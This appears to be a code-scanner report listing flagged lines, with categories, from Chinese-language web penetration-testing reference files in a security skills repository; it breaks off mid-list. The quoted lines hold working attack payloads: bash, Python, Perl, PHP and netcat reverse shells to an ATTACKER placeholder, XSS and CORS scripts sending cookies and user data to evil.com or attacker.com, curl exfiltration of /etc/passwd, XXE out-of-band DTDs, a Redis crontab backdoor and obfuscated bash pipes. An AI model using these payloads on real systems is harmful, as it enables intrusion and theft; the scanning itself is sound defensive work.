  • Dangerous shell operationline 158
    perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
  • Dangerous shell operationline 161
    php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Network accessline 163
    # NC无-e参数 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Dangerous shell operationline 164
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Network accessline 164
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Dangerous shell operationline 174
    | L1代码级 | `eval()`, `assert()(PHP5)`, `create_function()`, `preg_replace(/e)` | PHP代码执行 |
  • Dangerous shell operationline 176
    | L3进程级 | `exec()`, `popen()`, `proc_open()`, `pcntl_exec()` | 子进程执行 |

deepsec/spear/skills/specialized/secknowledge-skill/references/web-sqli-fushuling-one-pass.md

  • Network accessline 3
    > 来源: fushuling「SQL注入一命通关!」 > URL: https://fushuling.com/index.php/2023/04/07/sql%E6%B3%A8%E5%85%A5%E4%B8%80%E5%91%BD%E9%80%9A%E5%85%B3/
  • Network accessline 4
    > URL: https://fushuling.com/index.php/2023/04/07/sql%E6%B3%A8%E5%85%A5%E4%B8%80%E5%91%BD%E9%80%9A%E5%85%B3/
  • Network accessline 92
    # GET 注入点 sqlmap -u "https://target/path.php?id=1" -p id --batch
  • Network accessline 93
    sqlmap -u "https://target/path.php?id=1" -p id --batch
  • Network accessline 98
    # 当前库、库表列、字段数据 sqlmap -u "https://target/path.php?id=1" --current-db --batch
  • Network accessline 99
    sqlmap -u "https://target/path.php?id=1" --current-db --batch
  • Network accessline 100
    sqlmap -u "https://target/path.php?id=1" -D dbname --tables --batch
  • Network accessline 101
    sqlmap -u "https://target/path.php?id=1" -D dbname -T users --columns --batch
  • Network accessline 102
    sqlmap -u "https://target/path.php?id=1" -D dbname -T users -C username,password --dump --batch

deepsec/spear/skills/specialized/secknowledge-skill/references/web-sqli.md

  • Network accessline 231
    # 基础检测 sqlmap -u "http://t/p.php?id=1" --batch
  • Network accessline 232
    sqlmap -u "http://t/p.php?id=1" --batch
  • Network accessline 233
    # POST请求 sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch # Cookie/HTTP头注入
  • Network accessline 234
    sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch
  • Network accessline 235
    # Cookie/HTTP头注入 sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch
  • Network accessline 236
    sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch
  • Network accessline 237
    sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch
  • Network accessline 238
    # 绕过WAF sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch # 数据提取链
  • Network accessline 239
    sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch

deepsec/spear/skills/specialized/secknowledge-skill/references/web-ssrf-misc.md

  • Network accessline 36
    # http:// - 内网探测 http://127.0.0.1:8080
  • Network accessline 37
    http://127.0.0.1:8080
  • Network accessline 38
    http://169.254.169.254/latest/meta-data/  # 云元数据
  • Network accessline 147
    - [ ] 识别URL/代理/回调参数 - [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port
  • Network accessline 148
    - [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port - [ ] 云元数据: http://169.254.169.254/latest/meta-data/
  • Network accessline 149
    - [ ] 测试内网地址: http://127.0.0.1:port
  • Network accessline 150
    - [ ] 云元数据: http://169.254.169.254/latest/meta-data/

deepsec/spear/skills/specialized/secknowledge-skill/references/web-xss.md

  • Network accessline 119
    .<script src=http://localhost/1.js>.    <!-- 安全宝:前后加点号 -->
  • Dangerous shell operationline 132
    <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
  • Network accessline 145
    <script>new Image().src="https://evil.com/c?="+document.cookie</script> <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> <script>fetch('https://evil.com/c?='+document.cookie)</script>
  • Network accessline 146
    <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie">
  • Network accessline 147
    <script>fetch('https://evil.com/c?='+document.cookie)</script>
  • Dangerous shell operationline 154
    **危险汇**:`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout()`, `element.src/href`

deepsec/spear/skills/specialized/secknowledge-skill/references/web-xxe.md

  • Network accessline 48
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]>
  • Network accessline 51
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
  • Network accessline 58
    <!-- 外部DTD (attacker服务器托管evil.dtd) --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
  • Network accessline 59
    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
  • Network accessline 61
    <!-- evil.dtd内容: --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 62
    <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval;
  • Dangerous shell operationline 63
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 63
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 93
    // Java: 禁用DTD和外部实体 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 94
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 95
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 96
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 97
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

deepsec/spear/skills/specialized/web-pentest/references/web-injection.md

  • Network accessline 343
    .<script src=http://localhost/1.js>.    <!-- 安全宝:前后加点号 -->
  • Dangerous shell operationline 356
    <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
  • Network accessline 369
    <script>new Image().src="https://evil.com/c?="+document.cookie</script> <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> <script>fetch('https://evil.com/c?='+document.cookie)</script>
  • Network accessline 370
    <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie">
  • Network accessline 371
    <script>fetch('https://evil.com/c?='+document.cookie)</script>
  • Dangerous shell operationline 378
    **危险汇**:`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout()`, `element.src/href`
  • Network accessline 450
    # DNSLog外带 ping `whoami`.xxxxx.ceye.io curl http://`whoami`.xxxxx.ceye.io
  • Network accessline 452
    curl http://`whoami`.xxxxx.ceye.io
  • Network accessline 454
    # HTTP外带 curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'`
  • Network accessline 455
    curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'`
  • Network accessline 456
    curl -X POST -d "data=$(cat /etc/passwd)" https://evil.com/c
  • Dangerous shell operationline 505
    echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
  • Possible obfuscationline 509
    echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash
  • Possible obfuscationline 510
    $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
  • Network accessline 520
    push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 521
    viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' pop graphic-context
  • Dangerous shell operationline 522
    fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 522
    fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 550
    # 或写crontab config set dir /var/spool/cron && config set dbfilename root set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Dangerous shell operationline 552
    set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Network accessline 552
    set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Network accessline 558
    # Bash bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Dangerous shell operationline 559
    bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Network accessline 559
    bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Network accessline 561
    # Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
  • Network accessline 562
    python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
  • Dangerous shell operationline 565
    perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
  • Dangerous shell operationline 568
    php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Network accessline 570
    # NC无-e参数 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Dangerous shell operationline 571
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Network accessline 571
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Dangerous shell operationline 581
    | L1代码级 | `eval()`, `assert()(PHP5)`, `create_function()`, `preg_replace(/e)` | PHP代码执行 |
  • Dangerous shell operationline 583
    | L3进程级 | `exec()`, `popen()`, `proc_open()`, `pcntl_exec()` | 子进程执行 |
  • Network accessline 683
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]>
  • Network accessline 686
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
  • Network accessline 693
    <!-- 外部DTD (attacker服务器托管evil.dtd) --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
  • Network accessline 694
    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
  • Network accessline 696
    <!-- evil.dtd内容: --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 697
    <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval;
  • Dangerous shell operationline 698
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 698
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 728
    // Java: 禁用DTD和外部实体 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 729
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 730
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 731
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 732
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 790
    # marshalsec启动恶意LDAP/RMI java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit"
  • Network accessline 791
    java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit"
  • Dangerous shell operationline 817
    3. 终点: 到达system()/eval()/file_put_contents()等危险函数
  • Network accessline 892
    # 基础检测 sqlmap -u "http://t/p.php?id=1" --batch
  • Network accessline 893
    sqlmap -u "http://t/p.php?id=1" --batch
  • Network accessline 894
    # POST请求 sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch # Cookie/HTTP头注入
  • Network accessline 895
    sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch
  • Network accessline 896
    # Cookie/HTTP头注入 sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch
  • Network accessline 897
    sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch
  • Network accessline 898
    sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch
  • Network accessline 899
    # 绕过WAF sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch # 数据提取链
  • Network accessline 900
    sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch

deepsec/spear/skills/specialized/web-pentest/references/web-logic-auth.md

  • Network accessline 43
    def idor_test(base_url, param_name, id_range, session_cookie):     for id in range(id_range[0], id_range[1]):         resp = requests.get(
  • Network accessline 44
    for id in range(id_range[0], id_range[1]):         resp = requests.get(             f"{base_url}?{param_name}={id}",
  • Network accessline 45
    resp = requests.get(
  • Network accessline 167
    import threading def create_order():     requests.post("/order/create", json={"price":0.01,"productId":"premium"})
  • Network accessline 168
    def create_order():     requests.post("/order/create", json={"price":0.01,"productId":"premium"}) threads = [threading.Thread(target=create_order) for _ in range(50)]
  • Network accessline 169
    requests.post("/order/create", json={"price":0.01,"productId":"premium"})
  • Network accessline 309
    import threading, requests def redeem():     requests.post("/redeem", data={"points":1000, "item":"iPhone"})
  • Network accessline 311
    requests.post("/redeem", data={"points":1000, "item":"iPhone"})
  • Network accessline 453
    | Redis | 6379 | redis-cli -h IP info | 写SSH公钥/Webshell/计划任务 | | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 |
  • Network accessline 454
    | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 |
  • Network accessline 455
    | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 |
  • Network accessline 456
    | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 |
  • Network accessline 457
    | Docker API | 2375 | curl IP:2375/info | 容器逃逸/RCE |

deepsec/spear/skills/specialized/web-pentest/references/web-modern-protocols.md

  • Network accessline 21
    # 基础检测: 发送自定义Origin观察响应 curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo
  • Network accessline 22
    curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo
  • Network accessline 23
    # 检查响应头: # Access-Control-Allow-Origin: https://evil.com  → 危险! # Access-Control-Allow-Credentials: true          → 可携带Cookie跨域请求
  • Network accessline 24
    # Access-Control-Allow-Origin: https://evil.com  → 危险!
  • Network accessline 41
    <!-- 恶意页面: 跨域窃取用户数据 --> <script> fetch('https://target.com/api/userinfo', {credentials: 'include'})
  • Network accessline 42
    <script> fetch('https://target.com/api/userinfo', {credentials: 'include'})   .then(r => r.json())
  • Network accessline 43
    fetch('https://target.com/api/userinfo', {credentials: 'include'})
  • Network accessline 44
    .then(r => r.json())   .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); </script>
  • Network accessline 45
    .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d)));
  • Network accessline 49
    <iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html, <script> fetch('https://target.com/api/userinfo',{credentials:'include'})
  • Network accessline 50
    <script> fetch('https://target.com/api/userinfo',{credentials:'include'}) .then(r=>r.text()).then(d=>parent.postMessage(d,'*'))
  • Network accessline 51
    fetch('https://target.com/api/userinfo',{credentials:'include'})
  • Network accessline 237
    ws.onmessage = function(e) {     // 窃取响应数据     fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data));
  • Network accessline 238
    // 窃取响应数据     fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); };
  • Network accessline 239
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data));
  • Network accessline 287
    # 正常流程 https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback
  • Network accessline 288
    https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback
  • Network accessline 290
    # 攻击: 篡改redirect_uri窃取授权码 redirect_uri=https://attacker.com/steal           # 完全替换
  • Network accessline 291
    redirect_uri=https://attacker.com/steal           # 完全替换
  • Network accessline 292
    redirect_uri=https://app.com.attacker.com/callback # 子域混淆
  • Network accessline 293
    redirect_uri=https://app.com/callback/../../../attacker # 路径遍历
  • Network accessline 294
    redirect_uri=https://app.com/callback?next=https://attacker.com # 开放重定向链
  • Network accessline 311
    # 攻击流程 (state缺失时) 1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE
  • Network accessline 312
    1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE 3. 诱骗受害者点击 → 受害者账号绑定攻击者的第三方账号
  • Network accessline 313
    2. 构造链接: https://app.com/callback?code=ATTACKER_CODE
  • Network accessline 325
    [Credential-related source omitted]
  • Network accessline 326
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]

deepsec/spear/skills/specialized/web-security-advanced/references/web-deployment-security.md

  • Network accessline 199
    # 在线检查 # https://www.ssllabs.com/ssltest/
  • Network accessline 200
    # https://www.ssllabs.com/ssltest/
  • Network accessline 246
    | 安全组全开 | 检查`0.0.0.0/0`入站规则 | 暴露内部服务 | | 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 |
  • Network accessline 247
    | 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | | 日志未开启 | CloudTrail/ActionTrail审计 | 无法溯源 |
  • Network accessline 248
    | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 |
  • Network accessline 264
    # 代码仓库扫描 gitleaks detect --source=. --verbose trufflehog git https://github.com/org/repo
  • Network accessline 266
    trufflehog git https://github.com/org/repo
  • Access to secretsline 269
    [Credential-related source omitted]

deepsec/spear/skills/specialized/web-security-advanced/references/web-file-infra.md

  • Access to secretsline 352
    [Credential-related source omitted]
  • Network accessline 468
    # http:// - 内网探测 http://127.0.0.1:8080
  • Network accessline 469
    http://127.0.0.1:8080
  • Network accessline 470
    http://169.254.169.254/latest/meta-data/  # 云元数据
  • Network accessline 579
    - [ ] 识别URL/代理/回调参数 - [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port
  • Network accessline 580
    - [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port - [ ] 云元数据: http://169.254.169.254/latest/meta-data/
  • Network accessline 581
    - [ ] 测试内网地址: http://127.0.0.1:port
  • Network accessline 582
    - [ ] 云元数据: http://169.254.169.254/latest/meta-data/

deepsec/spear/skills/specialized/web-security-advanced/references/web-injection.md

  • Network accessline 343
    .<script src=http://localhost/1.js>.    <!-- 安全宝:前后加点号 -->
  • Dangerous shell operationline 356
    <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
  • Network accessline 369
    <script>new Image().src="https://evil.com/c?="+document.cookie</script> <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> <script>fetch('https://evil.com/c?='+document.cookie)</script>
  • Network accessline 370
    <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie">
  • Network accessline 371
    <script>fetch('https://evil.com/c?='+document.cookie)</script>
  • Dangerous shell operationline 378
    **危险汇**:`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout()`, `element.src/href`
  • Network accessline 450
    # DNSLog外带 ping `whoami`.xxxxx.ceye.io curl http://`whoami`.xxxxx.ceye.io
  • Network accessline 452
    curl http://`whoami`.xxxxx.ceye.io
  • Network accessline 454
    # HTTP外带 curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'`
  • Network accessline 455
    curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'`
  • Network accessline 456
    curl -X POST -d "data=$(cat /etc/passwd)" https://evil.com/c
  • Dangerous shell operationline 505
    echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
  • Possible obfuscationline 509
    echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash
  • Possible obfuscationline 510
    $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
  • Network accessline 520
    push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 521
    viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' pop graphic-context
  • Dangerous shell operationline 522
    fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 522
    fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 550
    # 或写crontab config set dir /var/spool/cron && config set dbfilename root set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Dangerous shell operationline 552
    set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Network accessline 552
    set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Network accessline 558
    # Bash bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Dangerous shell operationline 559
    bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Network accessline 559
    bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Network accessline 561
    # Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
  • Network accessline 562
    python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
  • Dangerous shell operationline 565
    perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
  • Dangerous shell operationline 568
    php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Network accessline 570
    # NC无-e参数 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Dangerous shell operationline 571
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Network accessline 571
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
  • Dangerous shell operationline 581
    | L1代码级 | `eval()`, `assert()(PHP5)`, `create_function()`, `preg_replace(/e)` | PHP代码执行 |
  • Dangerous shell operationline 583
    | L3进程级 | `exec()`, `popen()`, `proc_open()`, `pcntl_exec()` | 子进程执行 |
  • Network accessline 683
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]>
  • Network accessline 686
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
  • Network accessline 693
    <!-- 外部DTD (attacker服务器托管evil.dtd) --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
  • Network accessline 694
    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
  • Network accessline 696
    <!-- evil.dtd内容: --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 697
    <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval;
  • Dangerous shell operationline 698
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 698
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  • Network accessline 728
    // Java: 禁用DTD和外部实体 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 729
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 730
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 731
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 732
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 790
    # marshalsec启动恶意LDAP/RMI java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit"
  • Network accessline 791
    java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit"
  • Dangerous shell operationline 817
    3. 终点: 到达system()/eval()/file_put_contents()等危险函数
  • Network accessline 892
    # 基础检测 sqlmap -u "http://t/p.php?id=1" --batch
  • Network accessline 893
    sqlmap -u "http://t/p.php?id=1" --batch
  • Network accessline 894
    # POST请求 sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch # Cookie/HTTP头注入
  • Network accessline 895
    sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch
  • Network accessline 896
    # Cookie/HTTP头注入 sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch
  • Network accessline 897
    sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch
  • Network accessline 898
    sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch
  • Network accessline 899
    # 绕过WAF sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch # 数据提取链
  • Network accessline 900
    sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch

deepsec/spear/skills/specialized/web-security-advanced/references/web-logic-auth.md

  • Network accessline 43
    def idor_test(base_url, param_name, id_range, session_cookie):     for id in range(id_range[0], id_range[1]):         resp = requests.get(
  • Network accessline 44
    for id in range(id_range[0], id_range[1]):         resp = requests.get(             f"{base_url}?{param_name}={id}",
  • Network accessline 45
    resp = requests.get(
  • Network accessline 167
    import threading def create_order():     requests.post("/order/create", json={"price":0.01,"productId":"premium"})
  • Network accessline 168
    def create_order():     requests.post("/order/create", json={"price":0.01,"productId":"premium"}) threads = [threading.Thread(target=create_order) for _ in range(50)]
  • Network accessline 169
    requests.post("/order/create", json={"price":0.01,"productId":"premium"})
  • Network accessline 309
    import threading, requests def redeem():     requests.post("/redeem", data={"points":1000, "item":"iPhone"})
  • Network accessline 311
    requests.post("/redeem", data={"points":1000, "item":"iPhone"})
  • Network accessline 453
    | Redis | 6379 | redis-cli -h IP info | 写SSH公钥/Webshell/计划任务 | | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 |
  • Network accessline 454
